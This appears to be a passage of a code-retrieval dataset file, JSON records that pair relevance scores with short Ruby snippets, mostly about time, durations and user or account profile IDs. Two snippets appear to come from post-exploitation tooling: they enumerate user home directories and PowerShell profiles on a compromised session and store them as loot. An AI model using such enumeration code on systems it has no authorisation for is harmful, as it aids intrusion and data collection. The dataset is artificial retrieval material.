"0.54181296", "text": "def time=(_arg0); end", "title": "" }, { "docid": "b749aba266ac0744626652175f8d64c5", "score": "0.54181296", "text": "def time=(_arg0); end", "title": "" }, { "docid": "30f089b3cb8b3758d771fd26c51d3595", "score": "0.53903383", "text": "def total_time=(_arg0); end", "title": "" }, { "docid": "1b909641971c6b2dc75364eb86f36e09", "score": "0.5384922", "text": "def stime(*) end", "title": "" }, { "docid": "556eade92d38dabbbaebccb79be3176a", "score": "0.5383349", "text": "def micro\n big_self * MICRO\n end", "title": "" }, { "docid": "5f2bbeffc8de5b4572d67e268db50e47", "score": "0.53788906", "text": "def timescale\n put('l^')\n get.strip.to_i\n end", "title": "" }, { "docid": "c9f7afe6e914c0a45c0c542db8dd7c92", "score": "0.53722686", "text": "def server_timing; end", "title": "" }, { "docid": "9065a5e4a14ec8be8d062b365f09912e", "score": "0.53707814", "text": "def nclocks\n return @sig_waveforms[0][1].length\n end", "title": "" }, { "docid": "e396788ba4a2479a5578be6f5dd7a218", "score": "0.53646475", "text": "def fortnights ; Duration[self * 1209600] ; end", "title": "" }, { "docid": "f7172dd67fcf02ba3830b30ae9631126", "score": "0.535976", "text": "def sec\n return self.to_a[IDX_SECOND]\n end", "title": "" }, { "docid": "8683261f65e60b371e07088343a0bfb1", "score": "0.5356441", "text": "def get_time_required\n 1.0\n end", "title": "" }, { "docid": "0571d9921d28b13bed44fe9bd2225e04", "score": "0.5353206", "text": "def initialize(dt , timeconst )\n dt ||= 0.1\n timeconst ||=1\n @k=dt/((2*timeconst)+dt)\n @w=0.0\n @result = {:lowpass => 0.0, :highpass => 0.0}\n end", "title": "" }, { "docid": "76af92c3ebdbb449c976b899d6093c5f", "score": "0.5352318", "text": "def linear(time, start, change, total_time)\n return change * time / total_time + start\n end", "title": "" }, { "docid": "f4b9daa7dcdadfeaa961802984fcf37c", "score": "0.53460985", "text": "def usec() end", "title": "" }, { "docid": "1077b64f90d669cc3424db0e71d3d7a4", "score": "0.53252417", "text": "def length\n seconds.to_runtime\n end", "title": "" }, { "docid": "9488d20a0fa962d389fc6194c27b1e42", "score": "0.5301938", "text": "def gf2_element_times(a, b)\n if (a == 0 || b == 0)\n return 0\n else\n logA = LOG_TABLE[a & 0xFF]\n logB = LOG_TABLE[b & 0xFF]\n logResult = logA + logB\n return EXP_TABLE[logResult]\n end\nend", "title": "" }, { "docid": "0ea95e37d49f2ab3eeeda1194bea0af8", "score": "0.5297252", "text": "def timechunk(sec)\n fail \"sec = #{sec}\" if sec < 1\n 1.send(find_unit(sec)).round\n end", "title": "" }, { "docid": "7410d0a72b281dfed5180a53a6801818", "score": "0.52924967", "text": "def tv_sec() end", "title": "" }, { "docid": "5abf26463c57637eceda66a6d351f82e", "score": "0.5291428", "text": "def time_unit\n return \"1sec\"\n end", "title": "" }, { "docid": "78cdd48ad36c7c0462b7b9a573e3daae", "score": "0.5289671", "text": "def ctime() end", "title": "" }, { "docid": "78cdd48ad36c7c0462b7b9a573e3daae", "score": "0.5289671", "text": "def ctime() end", "title": "" }, { "docid": "78cdd48ad36c7c0462b7b9a573e3daae", "score": "0.5289286", "text": "def ctime() end", "title": "" }, { "docid": "aeb56d65f665733edd6a1e879d17dcf7", "score": "0.52888155", "text": "def time\n @time ||= begin\n if Array === first # Distribution\n times.max\n else # Press\n sum\n end\n end\n end", "title": "" }, { "docid": "232217554bc21459d8ef2b6a7af3edcf", "score": "0.5280365", "text": "def time\n a=[1, 1000, 60000, 3600000]*2\n ms = duration\n \"%02d\" % (ms / a[3]).to_s << \":\" << \n \"%02d\" % (ms % a[3] / a[2]).to_s << \":\" << \n \"%02d\" % (ms % a[2] / a[1]).to_s #<< \".\" << \n #\"%03d\" % (ms % a[1]).to_s\n end", "title": "" }, { "docid": "5895c34d5e8bba717ce9c13f4b502a93", "score": "0.52671474", "text": "def methods_time\n Benchmark::Tms.new\n end", "title": "" }, { "docid": "f1f39fdf49183ff99d9767390d2dc961", "score": "0.526574", "text": "def time_required\n @time_required ||= distribution.map(&:sum).max\n end", "title": "" }, { "docid": "f2d43e2a5c68152c95dda76abc4d927c", "score": "0.52366245", "text": "def stime=(*) end", "title": "" }, { "docid": "fac330901d855e2df2bacc20b8de8d67", "score": "0.5235643", "text": "def period; end", "title": "" }, { "docid": "fac330901d855e2df2bacc20b8de8d67", "score": "0.5235643", "text": "def period; end", "title": "" }, { "docid": "fac330901d855e2df2bacc20b8de8d67", "score": "0.5235643", "text": "def period; end", "title": "" }, { "docid": "94fdb0ea45a54c8f9d96352202c9d173", "score": "0.52313554", "text": "def hitimes_duration_tv1\n Hitimes::TimedValueMetric.now( 'duration_tv1' ).stop( 42 )\nend", "title": "" }, { "docid": "cdae5e1ad87261b068d996a119d20535", "score": "0.522369", "text": "def ctime\n end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.5222312", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.5222312", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.5222312", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.5222312", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.5222312", "text": "def duration; end", "title": "" }, { "docid": "e295d6bc2260575a3be97a3b47e8757a", "score": "0.5216882", "text": "def seconds() self end", "title": "" }, { "docid": "31ceb102396bcdc5084d36f1bc62d472", "score": "0.5210809", "text": "def time\n\talltime = Array.new\n\tslices = 10\n\ti = 0\n\twhile i < slices.to_i do\n\t\talltime.push(Time.now)\n\t\ti+=1\n\tend\n\tyield\nend", "title": "" }, { "docid": "9bf038ff1831015121ba575cbd505c5a", "score": "0.5209933", "text": "def timeInterval()\n\t\t@duration\n\tend", "title": "" }, { "docid": "32927ffb342ca8bab6a960eee5331330", "score": "0.520238", "text": "def clock_pred(clock)\n to_clock(clock,clock_sec_pred(to_clock_sec(clock)))\nend", "title": "" }, { "docid": "041abeacd0a35979963a27c19d763887", "score": "0.5199657", "text": "def durations; end", "title": "" }, { "docid": "69965ec29d9bf1aa3a8b940cc00db911", "score": "0.51986337", "text": "def quantity_of_seconds(time)\n time.hour * 60 + time.minute * 60 + time.second + time.second_fraction\nend", "title": "" }, { "docid": "495e87097bd0c20069e2d8dd4c2543bf", "score": "0.51785564", "text": "def symbol_per_sec\n return 1/MCS::SEC_PER_SYMBOL\n end", "title": "" }, { "docid": "67dc4ce260943007b734d45280a7db86", "score": "0.5171861", "text": "def start=(time); end", "title": "" }, { "docid": "d2009d3eca906fb8bf4b69b939c438e3", "score": "0.51698583", "text": "def times\n\t\t\tprogram = pop\n\t\t\tn = pop\n\t\t\traise ArgumentError, \"TIMEs: second element is not an Array.\" unless program.is_a? Array\n\t\t\tn.times { ~program.dup }\n\t\tend", "title": "" }, { "docid": "b45b2194cb410621847c9796aeab4e70", "score": "0.51688623", "text": "def gs2_run_times\n\t\t\traise FluxOptionError.new(\"gs2_run_times called and flux_option != gs2\") if not flux_gs2?\n\t\t\trun_times = []\n\t\t\tFile.open(@directory + '/' + output_file, \"r\").each_line{|l| l.scan(/Job.*timer.*(\\b\\d+\\.\\d+\\b)/){run_times.push $~[1].to_f}}\n\t\t\tsz = run_times.size.to_f\n\t\t\treturn run_times.pieces((sz / n_flux_tubes.to_f).ceil)\n\n\t\tend", "title": "" }, { "docid": "c75d078e5b89730d807eb8e9b95914cd", "score": "0.5152537", "text": "def array(n, time, frequency, amplitude, min, max, step = 1.minute)\n prev = self.new(\n time, frequency, amplitude, min, max, 0\n )\n i = 0\n acc = []\n while i < n\n prev = from(prev, step)\n acc << prev.value\n i += 1\n end\n\n acc\n end", "title": "" }, { "docid": "b4f392e59d95c193bc6013bb8efa2102", "score": "0.51508117", "text": "def e2w(n, m)\n# n = (n+0.938272)*(n+0.938272) - n*n\n n+m\nend", "title": "" }, { "docid": "6f036ca2611083de55fc8f5ca6acd24a", "score": "0.51487094", "text": "def mcnts_per_second(spectra_per_mcnt=8)\n mcnt_per_spectrum = Rational(1, spectra_per_mcnt)\n\n samples_per_spectrum = 2048\n spectra_per_sample = Rational(1, samples_per_spectrum)\n\n samples_per_second = 200e6\n\n (mcnt_per_spectrum * spectra_per_sample * samples_per_second + 2047).to_i / 2048 * 2048\nend", "title": "" }, { "docid": "f5c4e5df24de8443084b2d2913ddba33", "score": "0.5148523", "text": "def time_diff_milli( start, finish )\n\n\t( finish - start )\n\nend", "title": "" }, { "docid": "030234aef0ea3f2c4e2d26b18bf76b15", "score": "0.5146413", "text": "def bench n\n t = Time.now\n n.times{ yield }\n cost = Time.now - t\n\n t = Time.now\n n.times{}\n baseline = Time.now - t\n\n cost - baseline\nend", "title": "" }, { "docid": "6877a208409da2cc1f67b56007af277f", "score": "0.5143983", "text": "def server_timing=(_arg0); end", "title": "" }, { "docid": "34eac6ebb9012b8b9c6cae0fe58c487b", "score": "0.51395166", "text": "def time_sums(n)\n times = []\n hr = 0\n until hr == 24\n min = 0\n until min == 60\n min_sum = min.to_s.split('').map(&:to_i).reduce(&:+)\n hr_sum = hr.to_s.split('').map(&:to_i).reduce(&:+)\n sum = min_sum + hr_sum\n\n minString = min.to_s.split('')\n hrString = hr.to_s.split('')\n\n minString.unshift('0') until minString.length == 2\n hrString.unshift('0') until hrString.length == 2\n\n times << hrString.join('') + \":\" + minString.join('') if sum == n\n\n min += 1\n end\n hr += 1\n end\n times\nend", "title": "" }, { "docid": "bfaff10a2aeefe9be78b6fa0c52dd7c8", "score": "0.51360846", "text": "def tau\n [current_time - last_updated, 1].max\n end", "title": "" }, { "docid": "c0059f41628d1f63dfe9da390f17a2c8", "score": "0.51298255", "text": "def blocks_time\n Benchmark::Tms.new\n end", "title": "" }, { "docid": "19cdabf6921f39e9ec4ece0d8c220383", "score": "0.5128464", "text": "def time_to_block(time)\n Rational(time / time_divisor).floor * time_divisor\n end", "title": "" }, { "docid": "f7f557f4d1b7196cbd56ef1cc018c222", "score": "0.51217955", "text": "def queue_time(customers, n)\n # n個の要素をもつ配列を作成する\n arr = Array.new(n, 0)\n # 配列の要素で最小の所にcustomerを入れていき、customersを全て格納した配列を作成する。\n # arr.index(arr.min)で配列内で最小の要素のインデックスを取得する\n customers.each do |customer|\n arr[arr.index(arr.min)] += customer \n end\n # 作成した配列の最大値(最大作業時間)を取得する\n arr.max\nend", "title": "" }, { "docid": "71dc132cbcbdea4f825ff78da99ed144", "score": "0.5116847", "text": "def omega(k, n)\n Math::E ** Complex(0, 2 * Math::PI * k / n)\nend", "title": "" }, { "docid": "ed9d98613e2790b211587e11e3a11ac4", "score": "0.5111452", "text": "def time_unit\n @time_unit ||= PERIOD_MAPPING[@name]\n end", "title": "" }, { "docid": "07567c2188da44d34b30774dc61df760", "score": "0.5108881", "text": "def measure (n=1)\n cnt=0\nelapsed_time=Time.now\n\nn.times {\n cnt+=1\n yield} \nelapsed_time=(Time.now-elapsed_time)/cnt\n\nend", "title": "" }, { "docid": "85b2ef8de3a8ed56b52407ccddbd391a", "score": "0.5106409", "text": "def blocks_time\n @measurements[PATH_MEASURES].time if @measurements[PATH_MEASURES]\n end", "title": "" }, { "docid": "541aada5e94f29081d64ee80353a493e", "score": "0.51008296", "text": "def measure(n=0)\n if n == 0\n start = Time.now\n yield\n end_time = Time.now\n total = end_time - start\n else\n start = Time.now\n n.times { yield }\n end_time =Time.now\n total = end_time - start\n avg = total / n\n end\nend", "title": "" } ]
c75d365584693a149d6317d9cd70d53c
Returns list of app profile IDs created Returns list of app profile IDs created
[ { "docid": "f843f6c373f9f3ebce12c06838258a12", "score": "0.0", "text": "def get_app_profiles_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiAppDiscoveryApi.get_app_profiles ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiAppDiscoveryApi.get_app_profiles, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiAppDiscoveryApi.get_app_profiles, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/app-discovery/app-profiles'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AppProfileListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiAppDiscoveryApi#get_app_profiles\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "26cdd6ce601265d6ee60ea8135d67ec0", "score": "0.6989538", "text": "def profile_ids\n @customer_profile_id_list\n end", "title": "" }, { "docid": "ce032561e489b186b0a0205e779fc129", "score": "0.657842", "text": "def generate_profile_id\n if not too_many_ids\n self.profile_ids.create :emailaccount_type => 'listed'\n end\n end", "title": "" }, { "docid": "f21dca0e2254d205de059563370e4702", "score": "0.642742", "text": "def profiles\n return nil if __manageprofiles__.nil?\n cmd = \"#{__manageprofiles__} -listProfiles\"\n opts = { user: new_resource.owner, group: new_resource.group }\n shell_out!(cmd, opts).stdout.split(\"\\n\")\n end", "title": "" }, { "docid": "7aa5e96b643fce89a8227f5f06d784d1", "score": "0.6402546", "text": "def payment_profile_ids\n @customer_payment_profile_id_list\n end", "title": "" }, { "docid": "c661517e26be385676b9c3a7efd119d1", "score": "0.6387458", "text": "def app_ids\n return [] unless current_user\n\n object.app_series.jobs.where(user: current_user).select(:app_id).distinct.map(&:app_id)\n end", "title": "" }, { "docid": "c661517e26be385676b9c3a7efd119d1", "score": "0.6387458", "text": "def app_ids\n return [] unless current_user\n\n object.app_series.jobs.where(user: current_user).select(:app_id).distinct.map(&:app_id)\n end", "title": "" }, { "docid": "6fd23c5cd6d21f69055a58e1493196f1", "score": "0.63174057", "text": "def get_customer_profile_ids\n \tdata = build_request('getCustomerProfileIdsRequest') {}\n \tparse send(data)\n end", "title": "" }, { "docid": "93edd2ba7f3c41892d9400fad4224664", "score": "0.6295427", "text": "def list_profiles\n # /profiles returns a list of profiles.\n end", "title": "" }, { "docid": "9ee787efb791a462add5b31501901125", "score": "0.6201642", "text": "def profiles\n @list.map{ |c| c.profile }\n end", "title": "" }, { "docid": "98aca54bf4aefcdec7ab0ccee14ac872", "score": "0.61233413", "text": "def facebook_profiles\n FacebookProfile.any_in(uid: facebook_profile_uids)\n end", "title": "" }, { "docid": "b44eddd4f5613629beff24a0fc6e42d0", "score": "0.5943805", "text": "def get_profile_names\n profiles_response = RestClient.get(\"#{@config[:utility_url]}/profiles\")\n profiles = []\n\n # parse xml response and get text content of each profile element\n doc = Nokogiri::XML(profiles_response)\n profile_list = doc.at_xpath(\"/ProfileList\")\n profile_list.xpath(\"//profile\").each do |profile|\n profiles << profile.text\n end\n\n return profiles\n end", "title": "" }, { "docid": "e5280b7361f2eee1f05035f327914b70", "score": "0.5905653", "text": "def available_profiles\n params = {\n api_method: analytics.management.profiles.list,\n parameters: {accountId: '~all', webPropertyId: '~all'}\n }\n\n api_call(params) do |response|\n return response['items'].map do |item|\n {id: item['id'], name: item['name'], url: item['websiteUrl']}\n end\n end\n end", "title": "" }, { "docid": "7503f81f2238c2b85075bd4b0f7d328c", "score": "0.5878134", "text": "def get_installed_profiles\n # Setup a tmp dir we can dump the installed profiles in\n dir = Dir.mktmpdir\n path = [dir, \"profiles#{SecureRandom.hex}.plist\"].join(\"/\")\n \n begin\n profiles(['-P', '-o', path])\n rescue Puppet::ExecutionFailure => e\n raise Puppet::Error, \"#mobileconfig: command returned non-zero \n `profiles -P -o #{path}`\"\n end\n \n # Parse the plist and remove it\n parsed = parse_propertylist path\n FileUtils.rm_rf path\n \n # Return an empty array if there are no profiles installed\n return [] if parsed.empty?\n \n parsed['_computerlevel']\n end", "title": "" }, { "docid": "451827e19dbdcc53af8bf36131627091", "score": "0.58587205", "text": "def profiles\n Pathname.glob(local_path.to_s + '/profiles/*/*.profile').map { |p| p.basename('.profile').to_s }\n end", "title": "" }, { "docid": "3e7daecfb5958fb9b2f9f1b9e91358e8", "score": "0.5844533", "text": "def ga_profiles\n legato.profiles\n end", "title": "" }, { "docid": "d61dab2c1af611776728165df36e77fc", "score": "0.5792668", "text": "def profiles\n Management::Profile.all(self)\n end", "title": "" }, { "docid": "5f4185a604c576f3c49ba96544953a10", "score": "0.5787586", "text": "def profile_urls\n [profile_url].compact\n end", "title": "" }, { "docid": "c5945284eca6e310f27920cf043956ae", "score": "0.5780357", "text": "def userids\n each_userid.to_a\n end", "title": "" }, { "docid": "964516e54cf70bbbc1419754ffcf79df", "score": "0.5779714", "text": "def user_project_ids\n self.user.created_project_ids + [nil]\n end", "title": "" }, { "docid": "ec8928372c832b7586ffa9666ff17c34", "score": "0.57725424", "text": "def get_profile_names\n profiles_response = http_get(\"#{@config[:utility_url]}/profiles\")\n\n # parse xml response and get text content of each profile element\n doc = Nokogiri::XML(profiles_response)\n profile_list = doc.at_xpath(\"/ProfileList\")\n return profile_list.xpath(\"//profile\").map(&:text)\n end", "title": "" }, { "docid": "b2c2186e2ce00332943681f8cd452da9", "score": "0.57521254", "text": "def member_list\n User.includes(:user_profile).references(:user_profile).where(user_profiles: { id: registrations.attending.map(&:user_profile_id) })\n end", "title": "" }, { "docid": "ee970982387c03ece7782a7ec0c35771", "score": "0.5751405", "text": "def profile_docs\n profiles.find.to_a\n end", "title": "" }, { "docid": "a230f617642562a7d08ba10ffd3af816", "score": "0.5750337", "text": "def user_person_list\n x = ActiveRecord::Base.connection.select_all <<~SQL\n SELECT person_id FROM users WHERE user_id IN (#{user_list})\n SQL\n x.map { |id| id['person_id'].to_i }.push(0).join(',')\n end", "title": "" }, { "docid": "e11e0392591f322776bed21719d7c52f", "score": "0.5731611", "text": "def fill_select_for_accounts(profiles)\n select_list = []\n\n profiles.each { |profile|\n profile[:web_properties].each { |views|\n views[:profiles].each { |view|\n select_list.push([(views[:name] + \" - \" + view[:name]), view[:id]])\n }\n }\n }\n return select_list\n end", "title": "" }, { "docid": "560297fe4772c2da45e6c1f4b64b9b28", "score": "0.5718957", "text": "def profiles\n QED.profiles.keys\n end", "title": "" }, { "docid": "2aa773b32d0b20c1667b65ec6e488963", "score": "0.57006294", "text": "def orcid_profiles\n q = {'orcidData' => {'$exists' => true, '$not' => {'$size' => 0}} }\n profiles.find(q).to_a\n end", "title": "" }, { "docid": "8860c0c2bdaf0e433e884f40c8cd0ac4", "score": "0.56842095", "text": "def profiles; end", "title": "" }, { "docid": "8860c0c2bdaf0e433e884f40c8cd0ac4", "score": "0.56842095", "text": "def profiles; end", "title": "" }, { "docid": "cf0684ca4bef2b39289a0e62dc080766", "score": "0.56828785", "text": "def get_friends_ids \n user_ids = self.friends.map do |friend|\n friend.id\n end\n user_ids << self.id\n end", "title": "" }, { "docid": "4db0179a212f65d5a386ec883b2fcf36", "score": "0.5652929", "text": "def list\n render json: current_user.profiles\n end", "title": "" }, { "docid": "8e03dfe02b93fb6bea4d25b18445ce98", "score": "0.56345004", "text": "def user_project_ids\n user ? self.user.created_project_ids : []\n end", "title": "" }, { "docid": "369dbcfc096c6f6aa668b614f2dc960e", "score": "0.5609768", "text": "def get_all_id_list\n res = []\n User.all.each do |user|\n res.append(user.id)\n end\n res\n end", "title": "" }, { "docid": "ceb5001760dbafe4b733518d49e34549", "score": "0.56055784", "text": "def profiles\n @profiles ||= load_from('profiles')\n end", "title": "" }, { "docid": "cf70affb3d39da1756918176e24b48c2", "score": "0.559837", "text": "def get_background_app_list()\n current_node = @head\n app_list = []\n\n while current_node != nil\n app_list << current_node.data.app_id\n current_node = current_node.next\n end\n return app_list\n end", "title": "" }, { "docid": "6688405088f77f5908580b8a11a82942", "score": "0.55949306", "text": "def get_account_list\n account_list = fetch_account_list\n\n account_list.each do |account| \n account['app_list'] = fetch_app_list(account['account_id'])\n end\n\n account_list\n end", "title": "" }, { "docid": "7be600acbdc6c74e645b35121e2462d0", "score": "0.55652064", "text": "def owner_id_list\n id_list(owner_requests)\n end", "title": "" }, { "docid": "9456bff9ddc3a95b0ae57ca8ac95eddb", "score": "0.5562867", "text": "def get_profile_names prefix\r\n @profile_names = []\r\n \r\n @user_license_names.each do |name|\r\n @profile_names.push self.get_profile_name(name, prefix)\r\n end\r\n\r\n @profile_names # returned\r\n end", "title": "" }, { "docid": "6c836cecc837a9778d4b8a06a2b8d239", "score": "0.5546263", "text": "def applications\n results = @tropo_client.get(\"applications\")\n result_with_ids = []\n results.each do |app|\n result_with_ids << app.merge!({ :application_id => get_element(app.href) })\n end\n result_with_ids\n end", "title": "" }, { "docid": "f66272fbc7ddbc801b3c1815b944bdf9", "score": "0.5543232", "text": "def users\n res = []\n url = @json['projectRole']['links']['roleUsers']\n tmp = GoodData.get url\n tmp['associatedUsers']['users'].each do |user_url|\n user = GoodData.get user_url\n res << GoodData::Profile.new(user)\n end\n res\n end", "title": "" }, { "docid": "36b2ec8d76999f6afc9bd0c04cdf4b45", "score": "0.5543039", "text": "def pull_current_friend_ids\n client\n .friend_ids(count: 5000)\n .attrs[:ids]\n end", "title": "" }, { "docid": "dd9ef11b52146a1d1bdb4293a4dec5f0", "score": "0.5541846", "text": "def user_profiles\n user_profiles = []\n case session.platform\n when /unix|linux/\n user_names = dir(\"/home\")\n user_names.reject! { |u| %w(. ..).include?(u) }\n user_names.each do |user_name|\n user_profiles.push('UserName' => user_name, \"LocalAppData\" => \"/home/#{user_name}\")\n end\n when /osx/\n user_names = session.shell_command(\"ls /Users\").split\n user_names.reject! { |u| u == 'Shared' }\n user_names.each do |user_name|\n user_profiles.push(\n 'UserName' => user_name,\n \"AppData\" => \"/Users/#{user_name}/Library\",\n \"LocalAppData\" => \"/Users/#{user_name}/Library/Application Support\"\n )\n end\n when /windows/\n user_profiles |= grab_user_profiles\n else\n print_error \"OS not recognized: #{session.platform}\"\n end\n user_profiles\n end", "title": "" }, { "docid": "78d32a2a3f7efa48abbbb06c3e9c3ea6", "score": "0.553744", "text": "def user_ids\n users.select(:id).pluck(:id)\n end", "title": "" }, { "docid": "37c5c5050ce13d18b38d16a64e5b50cb", "score": "0.5534662", "text": "def profiles \n personid = params[:id]\n @response = JSON.parse(current_user.access_token.token.get('/api/v0/profiles?ids='+params[:id]))\n respond_to do |format|\n format.html\n format.json {render json: {'response'=> @response}}\n end\n end", "title": "" }, { "docid": "9cc52c652801d1feb2db45cf98287a06", "score": "0.55280805", "text": "def user_ids\n @user_ids\n end", "title": "" }, { "docid": "f333226c79ecb12765f6f3bc994e1c72", "score": "0.55127615", "text": "def getCreatedRecords()\n puts \"in getCreated records\"\n return @@createdRecordsIds\n end", "title": "" }, { "docid": "7fd0ec64af1118389a0b79235d346c94", "score": "0.5510242", "text": "def user_list\n x = ActiveRecord::Base.connection.select_all <<~SQL\n SELECT ART_user_id FROM #{@database}.user_bak\n SQL\n x.map { |id| id['ART_user_id'].to_i }.push(0).join(',')\n end", "title": "" }, { "docid": "16276490934e7cc55d5ac802f3329ddd", "score": "0.5507125", "text": "def profiles\r\n ProfilesController.instance\r\n end", "title": "" }, { "docid": "be9c15af62f71e3e2768b77a5e6065c0", "score": "0.54902464", "text": "def applicants\n applicant_ids = self.applications.map {|app| app.applicant_id}\n User.all.filter {|user| applicant_ids.include?(user.id)}\n end", "title": "" }, { "docid": "945a88e1ad13d60a8d83e5a71abdc065", "score": "0.5484901", "text": "def getProfiles(path)\n # Get folder names\n folders = Dir.glob(path+'/*').select {|f| File.directory? f}\n profiles = []\n # Get id from name\n for folder in folders\n # Get ids from paths\n id = /[0-9a-f]{5,30}$/.match(folder)\n profiles.push(id[0])\n end\n return profiles\nend", "title": "" }, { "docid": "53d98add642d250458ef7fa451add93b", "score": "0.54796314", "text": "def provisioning_profiles_via_xcode_api(mac: false)\n req = request(:post) do |r|\n r.url(\"https://developerservices2.apple.com/services/#{PROTOCOL_VERSION}/#{platform_slug(mac)}/listProvisioningProfiles.action\")\n r.params = {\n teamId: team_id,\n includeInactiveProfiles: true,\n includeExpiredProfiles: true,\n onlyCountLists: true\n }\n end\n\n result = parse_response(req, 'provisioningProfiles')\n\n csrf_cache[Spaceship::Portal::ProvisioningProfile] = self.csrf_tokens\n\n result\n end", "title": "" }, { "docid": "b25ffbe0815e1f2776f67f3ec69be5d4", "score": "0.5476057", "text": "def read_users()\n userIds = []\n queryParams = {\n 'type': [\"User\"]\n }\n endpoint = \"/restapi/v1.0/account/~/extension/\"\n resp = $platform.get(endpoint, queryParams)\n jsonObj = resp.body\n for record in jsonObj['records'] do\n # You can filter out any user you don't want to read analytics data!\n userIds.append(record['id'].to_s)\n end\n return userIds\nend", "title": "" }, { "docid": "e7b517b3c6265ea6f34add87f50582ce", "score": "0.54745156", "text": "def build_user_ids(data)\n\t\tids = []\n\t\tdata.collect do |x|\n\t\t\tids << x[:user_id] if !ids.include?(x[:user_id])\n\t\tend\n\t\tids\n\tend", "title": "" }, { "docid": "cc4bd29fc114877cdded60a75f3ab0ad", "score": "0.5473235", "text": "def enum_profiles(users)\n tmpout = []\n print_status(\"Checking if users have Powershell profiles\")\n users.each do |u|\n print_status(\"Checking #{u['username']}\")\n begin\n session.fs.dir.foreach(u[\"userappdata\"]) do |p|\n next if p =~ /^(\\.|\\.\\.)$/\n if p =~ /Microsoft.PowerShell_profile.ps1|profile.ps1/i\n ps_profile = session.fs.file.new(\"#{u[\"userappdata\"]}#{p}\", \"rb\")\n until ps_profile.eof?\n tmpout << ps_profile.read\n end\n ps_profile.close\n if tmpout.length == 1\n print_status(\"Profile #{p} for #{u[\"username\"]} not empty, it contains:\")\n tmpout.each do |l|\n print_line(\"\\t#{l.strip}\")\n end\n store_loot(\"powershell.profile\",\n \"text/plain\",\n session,\n tmpout,\n \"#{u[\"username\"]}_#{p}.txt\",\n \"PowerShell Profile for #{u[\"username\"]}\")\n end\n end\n end\n rescue\n end\n end\n end", "title": "" }, { "docid": "cc4bd29fc114877cdded60a75f3ab0ad", "score": "0.5473235", "text": "def enum_profiles(users)\n tmpout = []\n print_status(\"Checking if users have Powershell profiles\")\n users.each do |u|\n print_status(\"Checking #{u['username']}\")\n begin\n session.fs.dir.foreach(u[\"userappdata\"]) do |p|\n next if p =~ /^(\\.|\\.\\.)$/\n if p =~ /Microsoft.PowerShell_profile.ps1|profile.ps1/i\n ps_profile = session.fs.file.new(\"#{u[\"userappdata\"]}#{p}\", \"rb\")\n until ps_profile.eof?\n tmpout << ps_profile.read\n end\n ps_profile.close\n if tmpout.length == 1\n print_status(\"Profile #{p} for #{u[\"username\"]} not empty, it contains:\")\n tmpout.each do |l|\n print_line(\"\\t#{l.strip}\")\n end\n store_loot(\"powershell.profile\",\n \"text/plain\",\n session,\n tmpout,\n \"#{u[\"username\"]}_#{p}.txt\",\n \"PowerShell Profile for #{u[\"username\"]}\")\n end\n end\n end\n rescue\n end\n end\n end", "title": "" }, { "docid": "964ad17b35d742b052003d5cc72b238b", "score": "0.5467914", "text": "def parse_profiles\n profiles = @xml['/VM/USER_TEMPLATE/LXC_PROFILES']\n\n return [] if profiles.empty?\n\n files = []\n\n profiles.split(',').each do |profile|\n profile.strip!\n path = \"#{@lxcrc[:profiles_location]}/#{profile}\"\n\n if File.exist?(path)\n files << path\n else\n STDERR.puts \"Cannot find profile: \\\"#{profile}\\\".\"\n end\n end\n\n files.uniq\n end", "title": "" }, { "docid": "3fea8f9ad52aa9c190ef724e39ce36cc", "score": "0.54657096", "text": "def profiles(opts = {})\n find_collection(\"profiles\", opts)\n end", "title": "" }, { "docid": "ed5d5c401f090eb47f30cc6b91718a0c", "score": "0.5460904", "text": "def userInstalledApps\n # current_resource_owner\n # p \"current_resource_owner:#{current_resource_owner}\"\n if params[:apps]\n appids = params[:apps].split(\",\")\n end\n if appids\n res = Userapp.find_by_sql(\"select * from userapps,oauth_applications where userapps.app=oauth_applications.id and userapps.uid=#{@current_uid} and userapps.app in (#{appids.join(',')})\")\n else\n res = Userapp.find_by_sql(\"select * from userapps,oauth_applications where userapps.app=oauth_applications.id and userapps.uid=#{@current_uid}\")\n end\n p \"res:#{res.to_json}\"\n render :text=>res.to_json\n end", "title": "" }, { "docid": "219ec42018aa895709f0ee3859c1fdf6", "score": "0.5456616", "text": "def get_app_profiles(opts = {})\n data, _status_code, _headers = get_app_profiles_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "079e669dcc43615c64c0960b81e6a5b2", "score": "0.545262", "text": "def user_ids\n galaxy_users.pluck(:userid)\n end", "title": "" }, { "docid": "3d24d299d6c8ed66a7e07c7d1f50442d", "score": "0.544922", "text": 